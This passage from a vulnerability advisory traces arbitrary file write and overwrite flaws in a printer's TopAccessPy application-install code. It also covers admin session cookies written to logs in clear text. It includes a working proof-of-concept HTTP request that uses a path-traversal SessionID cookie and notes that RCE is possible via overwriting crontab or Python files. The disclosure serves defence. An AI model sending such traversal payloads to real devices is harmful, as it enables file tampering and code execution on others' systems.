<span style="color: #666666">189</span>     package_file <span style="color: #666666">=</span> request<span style="color: #666666">.</span>POST[<span style="color: #BA2121">&#39;idFileName&#39;</span>]<span style="color: #666666">.</span>file <span style="color: #666666">&lt;-------------</span> package_file <span style="color: #AA22FF; font-weight: bold">is</span> retrieved <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">POST</span><span style="color: #666666">-</span>data
<span style="color: #666666">190</span>
<span style="color: #666666">191</span>     validationMap <span style="color: #666666">=</span> applicationManagementModel<span style="color: #666666">.</span>validate_user(SessionID, session, csrfpId)
<span style="color: #666666">192</span>
<span style="color: #666666">193</span>     <span style="color: #008000; font-weight: bold">if</span> validationMap[<span style="color: #BA2121">&#39;VALIDATION_STATUS&#39;</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;PASSED&#39;</span>:
<span style="color: #666666">194</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;User Validation : SUCCESS&#39;</span>)
<span style="color: #666666">195</span>         data <span style="color: #666666">=</span> applicationManagementModel<span style="color: #666666">.</span>upload_package(packagename, package_file, SessionID)
<span style="color: #666666">196</span>         <span style="color: #408080; font-style: italic">#log.info(&quot;Response recieved in an attempt to upload &quot; : &quot; + str(data))</span>
<span style="color: #666666">197</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;upload_package : End &quot;</span>)
<span style="color: #666666">198</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">199</span>         <span style="color: #008000; font-weight: bold">return</span> data
<span style="color: #666666">200</span>     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">201</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;User Validation : FAILURE&#39;</span>)
<span style="color: #666666">202</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;upload_package : End &quot;</span>)
<span style="color: #666666">203</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&quot;HTTP_REQUEST_FORBIDDEN&quot;</span> <span style="color: #AA22FF; font-weight: bold">in</span> validationMap:
<span style="color: #666666">204</span>             <span style="color: #008000; font-weight: bold">return</span> HTTPForbidden(<span style="color: #BA2121">&quot;Error 403 : Forbidden Request&quot;</span>)
<span style="color: #666666">205</span>         <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">206</span>             <span style="color: #008000; font-weight: bold">return</span> json<span style="color: #666666">.</span>dumps(validationMap)
</pre></div>

<p>During the execution flow, on line 191, the method <code>validate_user()</code> is called but <code>SessionID</code> is never used, except for printing it in the logs:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">388</span>     <span style="color: #AA22FF">@classmethod</span>
<span style="color: #666666">389</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">validate_user</span>(<span style="color: #008000">cls</span>, sessionId, session, csrfpid):
<span style="color: #666666">390</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: validate_user start&quot;</span>)
<span style="color: #666666">391</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;Session ID recieved   : &quot;</span> <span style="color: #666666">+</span> sessionId)
</pre></div>

<p>The execution flow then continues to line 195 with the call the method <code>upload_package</code> implemented in the <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code> file, with the 3 attacker-controlled variables:</p>
<ul>
<li><code>SessionID</code></li>
<li><code>packagename</code></li>
<li><code>package_file</code></li>
</ul>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">464</span>     <span style="color: #AA22FF">@classmethod</span>
<span style="color: #666666">465</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_package</span>(<span style="color: #008000">cls</span>, packagename, package_file, SessionID):
<span style="color: #666666">466</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_package start&quot;</span>)
<span style="color: #666666">467</span>
<span style="color: #666666">468</span>         upload_destination <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/work/al/tmp/upload/&#39;</span> <span style="color: #666666">+</span> SessionID <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/&#39;</span>
<span style="color: #666666">469</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #AA22FF; font-weight: bold">not</span> os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>exists(upload_destination):
<span style="color: #666666">470</span>             os<span style="color: #666666">.</span>makedirs(upload_destination)
<span style="color: #666666">471</span>
<span style="color: #666666">472</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">473</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start&quot;</span>)
<span style="color: #666666">474</span>             <span style="color: #408080; font-style: italic">#if type(packagename) == str:</span>
<span style="color: #666666">475</span>             <span style="color: #408080; font-style: italic">#packagename = unicode(packagename, &quot;utf-8&quot;, errors=&quot;ignore&quot;)</span>
<span style="color: #666666">476</span>             <span style="color: #408080; font-style: italic">#else:</span>
<span style="color: #666666">477</span>                 <span style="color: #408080; font-style: italic">#packagename = unicode(packagename)</span>
<span style="color: #666666">478</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start -- test end&quot;</span>)
<span style="color: #666666">479</span>             <span style="color: #408080; font-style: italic">#absolute_package_path = os.path.join(upload_destination , packagename).encode()</span>
<span style="color: #666666">480</span>             absolute_package_path <span style="color: #666666">=</span> <span style="color: #008000">str</span>(os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>join(upload_destination , <span style="color: #008000">str</span>(packagename<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;ascii&#39;</span>,<span style="color: #BA2121">&#39;ignore&#39;</span>))))
<span style="color: #666666">481</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(absolute_package_path, <span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> output_file:
<span style="color: #666666">482</span>                 shutil<span style="color: #666666">.</span>copyfileobj(package_file, output_file)
<span style="color: #666666">483</span>
<span style="color: #666666">484</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;SUCCESS&quot;</span>
<span style="color: #666666">485</span>
<span style="color: #666666">486</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">Exception</span> <span style="color: #008000; font-weight: bold">as</span> err:
<span style="color: #666666">487</span>             log<span style="color: #666666">.</span>exception(<span style="color: #BA2121">&quot;Error In exitApp(upload_file) : &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(err))
<span style="color: #666666">488</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;FAILURE&quot;</span>
</pre></div>

<p>As shown previously, the attacker has full control over these 3 variables:</p>
<ul>
<li><code>SessionID</code> (views.py:179 from the Cookie <code>SessionID</code> variable)</li>
<li><code>packagename</code> (views.py:188 from the POST-data <code>txtSelectedFileName</code> variable)</li>
<li><code>package_file</code> (views.py:189 from the POST-data <code>idFileName</code> variable)</li>
</ul>
<p>These 3 variables are not filtered and can contain any value.</p>
<p>In the HTTP request, the <code>Session</code> cookie is used to check the authorisation but the <code>SessionID</code> can be set to anything as shown previously (it is not used in the <code>validate_user</code> method). This <code>SessionID</code> value is used to store the resulting file (on line 468) without any filtering.</p>
<p>The execution flow is below:</p>
<pre><code>465     def upload_package(cls, packagename, package_file, SessionID):
[...]

-- SessionID controlled by an attacker, the upload_destination variable contains /work/al/tmp/upload/ + SessionID + /

468         upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
[...]

-- absolute_file_path contains /work/al/tmp/upload/ + SessionID + / + packagename

480             absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481             with open(absolute_package_path, 'wb') as output_file:

-- and the uploaded file is then stored inside /work/al/tmp/upload/ + SessionID + packagename

482                 shutil.copyfileobj(package_file, output_file)
</code></pre>
<p>An attacker can then set <code>SessionID=../../path/to/any/file</code> in the HTTP request to overwrite any file.</p>
<p>Finally, the method <code>upload_file_to_session_folder</code> is also vulnerable (this method is similar to the <code>upload_package</code> method):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">437</span>     <span style="color: #AA22FF">@classmethod</span>
<span style="color: #666666">438</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_file_to_session_folder</span>(<span style="color: #008000">cls</span>, filename, fileObj, SessionID):
<span style="color: #666666">439</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_file_to_session_folder start&quot;</span>)
<span style="color: #666666">440</span>         responseMap <span style="color: #666666">=</span> {}
<span style="color: #666666">441</span>
<span style="color: #666666">442</span>         upload_destination <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/work/al/tmp/upload/&#39;</span> <span style="color: #666666">+</span> SessionID <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/&#39;</span>
<span style="color: #666666">443</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #AA22FF; font-weight: bold">not</span> os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>exists(upload_destination):
<span style="color: #666666">444</span>             os<span style="color: #666666">.</span>makedirs(upload_destination)
<span style="color: #666666">445</span>
<span style="color: #666666">446</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">447</span>             absolute_file_path <span style="color: #666666">=</span> <span style="color: #008000">str</span>(os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>join(upload_destination , <span style="color: #008000">str</span>(filename<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;ascii&#39;</span>,<span style="color: #BA2121">&#39;ignore&#39;</span>))))
<span style="color: #666666">448</span>             responseMap[<span style="color: #BA2121">&quot;ABSOLUTE_FILE_PATH&quot;</span>] <span style="color: #666666">=</span> absolute_file_path
<span style="color: #666666">449</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;absolute_file_path : &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(absolute_file_path))
<span style="color: #666666">450</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(absolute_file_path, <span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> output_file:
<span style="color: #666666">451</span>                 shutil<span style="color: #666666">.</span>copyfileobj(fileObj, output_file)
<span style="color: #666666">452</span>
<span style="color: #666666">453</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;File upload to session folder completed&quot;</span>)
<span style="color: #666666">454</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_file_to_session_folder end&quot;</span>)
<span style="color: #666666">455</span>             responseMap[<span style="color: #BA2121">&quot;STATUS&quot;</span>] <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;SUCCESS&quot;</span>
<span style="color: #666666">456</span>             <span style="color: #008000; font-weight: bold">return</span> responseMap
<span style="color: #666666">457</span>
<span style="color: #666666">458</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">Exception</span> <span style="color: #008000; font-weight: bold">as</span> err:
<span style="color: #666666">459</span>             log<span style="color: #666666">.</span>exception(<span style="color: #BA2121">&quot;Error In exitApp(upload_file_to_session_folder) : &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(err))
<span style="color: #666666">460</span>             responseMap[<span style="color: #BA2121">&quot;STATUS&quot;</span>] <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;FAILURE&quot;</span>
<span style="color: #666666">461</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_file_to_session_folder end&quot;</span>)
<span style="color: #666666">462</span>             <span style="color: #008000; font-weight: bold">return</span> responseMap
<span style="color: #666666">463</span>
</pre></div>

<p>PoC:</p>
<p>When setting the SessionID value to <code>../../../../dev/shm/</code>, we can see the resulting file <code>/dev/shm/b'upload-2.txt'</code> written instead of being stored inside <code>/work/al/tmp/upload/' + SessionID</code>:</p>
<pre><code>POST /tapy/server/appmgmt/uploadPackage HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------4065413143858317480519150484
Content-Length: 529
Origin: http://10.0.0.1
Connection: close
Referer: http://10.0.0.1/tapy/client/appmgmt/InstallApplication.html?v=1670357577ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; TopAccessURL=http%3A//10.0.0.1/%3FMAIN%3DTOPACCESS; SessionID=../../../../dev/shm/; clicked=0; lastVisited=APPLINK; IgnoreSessionTimeout=1; Session=10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
Upgrade-Insecure-Requests: 1

-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtCSRFPID"

10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtSelectedFileName"

upload-2.txt
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="idFileName"; filename="upload.txt"
Content-Type: text/plain

hi

-----------------------------4065413143858317480519150484--
</code></pre>
<p>And we can find the resulting file in /dev/shm:</p>
<pre><code>bash-4.1# ls -latr /dev/shm
total 2908
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdktime.lock
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdk.mutex
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdk.lock
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdktempdb
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdkimagetempdb
----rw----  1 root   trusted      16 Oct 27 02:15 sem.ssdkdebugsettings.lock
-rwxr-xr-x  1 root   root          0 Oct 27 02:15 m.disableLogs.4
[...]
-rw-rw-rw-  1 apache trusted       3 Oct 27 12:15 b'upload-2.txt'
drwxrwxr-x  2 root   root       7840 Oct 27 12:15 .
</code></pre>
<p>An attacker can overwrite files as apache (e.g. Python files) to get Remote Code Execution.</p>
<p>An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).</p>
<p><a id="rce-insecure-upload-04"></a></p>
<h2>Details - Remote Code Execution - insecure upload</h2>
<p>It is possible to overwrite any file when installing a new application in Administration &gt; Application &gt; Application List &gt; Install Application:</p>
<p>When installing an application, several requests will be sent to the printer:</p>
<ol>
<li>the first request is a HTTP POST to <code>/tapy/server/appmgmt/uploadPackage</code>,</li>
<li>then a HTTP POST is sent to <code>/tapy/server/appmgmt/extractPackage</code>.</li>
</ol>
<p>This vulnerability is similar to the previous vulnerability but it requires exploiting another variable. As shown previously, the attacker has full control over:</p>
<ul>
<li><code>packagename</code> defined in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:188</code> from the POST-data <code>txtSelectedFileName</code> variable.</li>
</ul>
<p>The <code>packagename</code> variable is not filtered and can contain any value, and can be used to write file anywhere in the filesystem. This variable is ultimately used in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code> on line 480 to generate the filename:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">464</span>     <span style="color: #AA22FF">@classmethod</span>
<span style="color: #666666">465</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_package</span>(<span style="color: #008000">cls</span>, packagename, package_file, SessionID):
<span style="color: #666666">466</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_package start&quot;</span>)
<span style="color: #666666">467</span>
<span style="color: #666666">468</span>         upload_destination <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/work/al/tmp/upload/&#39;</span> <span style="color: #666666">+</span> SessionID <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/&#39;</span>
<span style="color: #666666">469</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #AA22FF; font-weight: bold">not</span> os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>exists(upload_destination):
<span style="color: #666666">470</span>             os<span style="color: #666666">.</span>makedirs(upload_destination)
<span style="color: #666666">471</span>
<span style="color: #666666">472</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">473</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start&quot;</span>)
<span style="color: #666666">474</span>             <span style="color: #408080; font-style: italic">#if type(packagename) == str:</span>
<span style="color: #666666">475</span>             <span style="color: #408080; font-style: italic">#packagename = unicode(packagename, &quot;utf-8&quot;, errors=&quot;ignore&quot;)</span>
<span style="color: #666666">476</span>             <span style="color: #408080; font-style: italic">#else:</span>
<span style="color: #666666">477</span>                 <span style="color: #408080; font-style: italic">#packagename = unicode(packagename)</span>
<span style="color: #666666">478</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start -- test end&quot;</span>)
<span style="color: #666666">479</span>             <span style="color: #408080; font-style: italic">#absolute_package_path = os.path.join(upload_destination , packagename).encode()</span>
<span style="color: #666666">480</span>             absolute_package_path <span style="color: #666666">=</span> <span style="color: #008000">str</span>(os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>join(upload_destination , <span style="color: #008000">str</span>(packagename<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;ascii&#39;</span>,<span style="color: #BA2121">&#39;ignore&#39;</span>))))
<span style="color: #666666">481</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(absolute_package_path, <span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> output_file:
<span style="color: #666666">482</span>                 shutil<span style="color: #666666">.</span>copyfileobj(package_file, output_file)
<span style="color: #666666">483</span>
<span style="color: #666666">484</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;SUCCESS&quot;</span>
<span style="color: #666666">485</span>
<span style="color: #666666">486</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">Exception</span> <span style="color: #008000; font-weight: bold">as</span> err:
<span style="color: #666666">487</span>             log<span style="color: #666666">.</span>exception(<span style="color: #BA2121">&quot;Error In exitApp(upload_file) : &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(err))
<span style="color: #666666">488</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;FAILURE&quot;</span>
</pre></div>

<p>An attacker can overwrite files as apache (e.g. Python files) to get Remote Code Execution.</p>
<p>An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).</p>
<p><a id="rce-insecure-copy"></a></p>
<h2>Details - Remote Code Execution - insecure copy</h2>
<p>It is possible to overwrite any file when installing a new application in Administration &gt; Application &gt; Application List &gt; Install Application:</p>
<p>When installing an application, several requests will be sent to the printer:</p>
<ol>
<li>the first request is a HTTP POST to <code>/tapy/server/appmgmt/uploadPackage</code>,</li>
<li>then a HTTP POST is sent to <code>/tapy/server/appmgmt/extractPackage</code>.</li>
</ol>
<p>This vulnerability is similar to the previous vulnerability but it requires exploiting another variable. As shown previously, the attacker has full control over:</p>
<ul>
<li><code>package_file</code> defined in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:189</code> from the POST-data <code>idFileName</code> variable.</li>
</ul>
<p>The <code>package_file</code> variable is not filtered and can contain any value, and can be used to copy file anywhere in the filesystem. This variable is ultimately used in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code> on line 482 to copy any local file to a specific filename:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">464</span>     <span style="color: #AA22FF">@classmethod</span>
<span style="color: #666666">465</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_package</span>(<span style="color: #008000">cls</span>, packagename, package_file, SessionID):
<span style="color: #666666">466</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: upload_package start&quot;</span>)
<span style="color: #666666">467</span>
<span style="color: #666666">468</span>         upload_destination <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/work/al/tmp/upload/&#39;</span> <span style="color: #666666">+</span> SessionID <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/&#39;</span>
<span style="color: #666666">469</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #AA22FF; font-weight: bold">not</span> os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>exists(upload_destination):
<span style="color: #666666">470</span>             os<span style="color: #666666">.</span>makedirs(upload_destination)
<span style="color: #666666">471</span>
<span style="color: #666666">472</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">473</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start&quot;</span>)
<span style="color: #666666">474</span>             <span style="color: #408080; font-style: italic">#if type(packagename) == str:</span>
<span style="color: #666666">475</span>             <span style="color: #408080; font-style: italic">#packagename = unicode(packagename, &quot;utf-8&quot;, errors=&quot;ignore&quot;)</span>
<span style="color: #666666">476</span>             <span style="color: #408080; font-style: italic">#else:</span>
<span style="color: #666666">477</span>                 <span style="color: #408080; font-style: italic">#packagename = unicode(packagename)</span>
<span style="color: #666666">478</span>             log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;  upload_package start -- test end&quot;</span>)
<span style="color: #666666">479</span>             <span style="color: #408080; font-style: italic">#absolute_package_path = os.path.join(upload_destination , packagename).encode()</span>
<span style="color: #666666">480</span>             absolute_package_path <span style="color: #666666">=</span> <span style="color: #008000">str</span>(os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>join(upload_destination , <span style="color: #008000">str</span>(packagename<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;ascii&#39;</span>,<span style="color: #BA2121">&#39;ignore&#39;</span>))))
<span style="color: #666666">481</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(absolute_package_path, <span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> output_file:
<span style="color: #666666">482</span>                 shutil<span style="color: #666666">.</span>copyfileobj(package_file, output_file)
<span style="color: #666666">483</span>
<span style="color: #666666">484</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;SUCCESS&quot;</span>
<span style="color: #666666">485</span>
<span style="color: #666666">486</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">Exception</span> <span style="color: #008000; font-weight: bold">as</span> err:
<span style="color: #666666">487</span>             log<span style="color: #666666">.</span>exception(<span style="color: #BA2121">&quot;Error In exitApp(upload_file) : &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(err))
<span style="color: #666666">488</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;FAILURE&quot;</span>
</pre></div>

<p>An attacker can copy and overwrite files as apache (e.g. Python files) to get Remote Code Execution.</p>
<p>An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).</p>
<p><a id="session-disclosure-logs"></a></p>
<h2>Details - Session disclosure inside the log files in the installation of applications</h2>
<p>During the installation of applications, cookies are written in clear-text in logs.</p>
<p>When installing an application, several requests will be sent and the method <code>validate_user()</code> will be called: this method will write admin cookies in clear-text in the logs.</p>
<p>In the <code>upload_package</code> method, the <code>validate_user()</code> is called to check the authorization on line 191 in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code>:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">170</span> <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span><span style="color: #BA2121">&#39;upload_package&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">False</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;string&#39;</span>)
<span style="color: #666666">171</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_package</span>(request):
<span style="color: #666666">172</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">173</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;upload_package : Start &quot;</span>)
<span style="color: #666666">174</span>     SessionID <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">175</span>     session <span style="color: #666666">=</span> <span style="color: #BA2121">&#39; &#39;</span>
<span style="color: #666666">176</span>     csrfpId <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">177</span>
<span style="color: #666666">178</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;SessionID&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">179</span>         SessionID <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;SessionID&#39;</span>] <span style="color: #666666">&lt;----</span> SessionID <span style="color: #AA22FF; font-weight: bold">is</span> retrieved <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">cookie</span>
<span style="color: #666666">180</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;Session&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">181</span>         session <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;Session&#39;</span>] <span style="color: #666666">&lt;--------</span> Session <span style="color: #AA22FF; font-weight: bold">is</span> retrieved <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">cookie</span>
<span style="color: #666666">182</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;txtCSRFPID&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>POST:
<span style="color: #666666">183</span>         csrfpId <span style="color: #666666">=</span> request<span style="color: #666666">.</span>POST[<span style="color: #BA2121">&#39;txtCSRFPID&#39;</span>]
<span style="color: #666666">184</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">191</span>     validationMap <span style="color: #666666">=</span> applicationManagementModel<span style="color: #666666">.</span>validate_user(SessionID, session, csrfpId)
</pre></div>

<p>During the execution flow, on line 191, the method <code>validate_user()</code> is called with the <code>SessionID</code> and the <code>Session</code> cookies.</p>
<p>These cookies are then written in clear-text in the logs on lines 391 and 392 in <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">388</span>     <span style="color: #AA22FF">@classmethod</span>
 <span style="color: #666666">389</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">validate_user</span>(<span style="color: #008000">cls</span>, sessionId, session, csrfpid):
 <span style="color: #666666">390</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;applicationManagementModel: validate_user start&quot;</span>)
 <span style="color: #666666">391</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;Session ID recieved   : &quot;</span> <span style="color: #666666">+</span> sessionId)
 <span style="color: #666666">392</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;CSRFPID  Recieved    : &quot;</span> <span style="color: #666666">+</span> csrfpid)
 <span style="color: #666666">393</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;Session     : &quot;</span> <span style="color: #666666">+</span> session)
 <span style="color: #666666">394</span>
</pre></div>

<p>Admin cookies are written in clear-text in logs.</p>
<p>An attacker can retrieve them and bypass the authentication mechanism.</p>
<p><a id="toctou-rce"></a></p>
<h2>Details - TOCTOU vulnerability in the installation of applications, allowing to install rogue applications and get RCE</h2>
<p>When installing an application through the web application (Administration &gt; Application &gt; Application List &gt; Install Application), a signature is checked inside the printer to proceed the installation of the uploaded application.</p>
<p>There is a chain of trust and the installation process is entirely based on the validity of the chain of trust.</p>
<p>Through dynamic analysis using a root shell during the installation process, we can see several commands being executed:</p>
<pre>
